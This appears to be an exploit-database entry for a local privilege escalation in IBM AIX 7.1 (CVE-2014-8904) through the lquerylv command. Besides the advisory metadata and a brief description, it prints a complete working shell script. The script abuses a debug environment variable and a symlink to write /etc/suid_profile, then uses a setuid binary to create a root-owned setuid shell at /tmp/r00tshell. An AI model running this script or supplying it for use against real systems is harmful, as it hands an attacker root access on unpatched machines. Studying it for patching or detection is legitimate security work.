header-logo
Suggest Exploit
vendor:
AIX
by:
S2 Crew [Hungary]
7,2
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: AIX
Affected Version From: AIX 7.1
Affected Version To: AIX 7.1
Patch Exists: YES
Related CWE: CVE-2014-8904
CPE: aix:7.1
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: AIX 7.1
2015

AIX 7.1 lquerylv privilege escalation

A vulnerability in the lquerylv command of IBM AIX 7.1 allows local users to gain root privileges by creating a symbolic link from /etc/suid_profile to /tmp/DEBUGCMD, and then executing the lquerylv command. This exploit uses the _DBGCMD_LQUERYLV environment variable to execute the suid_profile script, which creates a root shell in /tmp/r00tshell and sets the permissions to 6755.

Mitigation:

The vendor has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

#!/bin/sh
#
# Exploit Title: AIX 7.1 lquerylv privilege escalation
# Date: 2015.10.30
# Exploit Author: S2 Crew [Hungary]
# Vendor Homepage: www.ibm.com
# Software Link: -
# Version: - 
# Tested on: AIX 7.1 (7100-02-03-1334)
# CVE : CVE-2014-8904
#
# From file writing to command execution ;) 
#
export _DBGCMD_LQUERYLV=1
umask 0
ln -s /etc/suid_profile /tmp/DEBUGCMD
/usr/sbin/lquerylv

cat << EOF >/etc/suid_profile
cp /bin/ksh /tmp/r00tshell
/usr/bin/syscall setreuid 0 0
chown root:system /tmp/r00tshell
chmod 6755 /tmp/r00tshell
EOF

/opt/IBMinvscout/bin/invscoutClient_VPD_Survey # suid_profile because uid!=euid
/tmp/r00tshell